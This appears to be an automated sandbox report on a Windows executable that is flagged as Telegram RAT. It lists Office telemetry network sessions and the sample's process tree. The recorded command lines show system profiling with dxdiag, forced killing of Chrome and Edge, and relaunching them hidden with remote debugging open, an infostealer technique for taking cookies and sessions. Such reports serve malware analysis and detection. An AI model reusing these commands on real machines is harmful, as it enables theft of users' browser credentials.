2024-11-21 21:10:52 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49948	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:52 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:53 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:53 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: dd43f91c-901e-005b-7e7f-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211053Z-1777c6cb754ww792hC1TEBzqu40000000bd000000000wdt9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:53 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49947	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:52 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:53 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:53 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 4ce3eb32-a01e-000d-75ad-3bd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211053Z-r1d97b99577ndm4rhC1TEBf0ps0000000ax000000000tyn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:53 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49949	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:53 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:53 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:53 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211053Z-r1d97b99577n4dznhC1TEBc1qw0000000aw000000000ruvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:53 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49950	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:53 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:54 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:53 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 652d7de6-201e-0033-5d3c-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211053Z-178bfbc474bfw4gbhC1NYCunf400000001x0000000014c0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49951	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:54 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:54 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:54 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211054Z-178bfbc474bpscmfhC1NYCfc2c00000000fg00000000b3bu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:54 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49953	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:55 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:55 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 8945419b-e01e-0003-217d-3b0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211055Z-178bfbc474b9xljthC1NYCtw940000000200000000003y6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:55 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49952	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:55 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:55 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:55 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: ff0b0d52-c01e-002b-2681-3b6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211055Z-1777c6cb754vxwc9hC1TEBykgw0000000br0000000002gr1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:55 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Target ID:	0
Start time:	16:09:01
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff6baf00000
File size:	13'960'143 bytes
MD5 hash:	F74588FC6A3342296CBB881D87C17300
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:09:03
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff6baf00000
File size:	13'960'143 bytes
MD5 hash:	F74588FC6A3342296CBB881D87C17300
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:09:09
Start date:	21/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "dxdiag /t C:\Users\user\AppData\Local\Bunny\Info.txt"
Imagebase:	0x7ff72c5b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:09:09
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:09:09
Start date:	21/11/2024
Path:	C:\Windows\System32\dxdiag.exe
Wow64 process (32bit):	false
Commandline:	dxdiag /t C:\Users\user\AppData\Local\Bunny\Info.txt
Imagebase:	0x7ff70cb70000
File size:	272'384 bytes
MD5 hash:	19AB5AD061BF013EBD012D0682DF37E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:09:14
Start date:	21/11/2024
Path:	C:\Windows\System32\drivers\mstee.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	12'288 bytes
MD5 hash:	244C73253E165582DDC43AF4467D23DF
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:09:14
Start date:	21/11/2024
Path:	C:\Windows\System32\drivers\mskssrv.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	34'816 bytes
MD5 hash:	26854C1F5500455757BC00365CEF9483
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	16:09:19
Start date:	21/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM chrome.exe
Imagebase:	0x7ff7d9bc0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:09:19
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:09:19
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:09:21
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=1980 --field-trial-handle=1928,i,10138963520009945514,5208888711942787013,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:09:24
Start date:	21/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM msedge.exe
Imagebase:	0x7ff7d9bc0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:09:24
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:09:25
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:09:26
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=2024 --field-trial-handle=1932,i,6186283230393300826,18104412640596963689,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:09:26
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	16:09:27
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=2056 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	16:09:31
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --no-sandbox --mojo-platform-channel-handle=5308 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:09:31
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
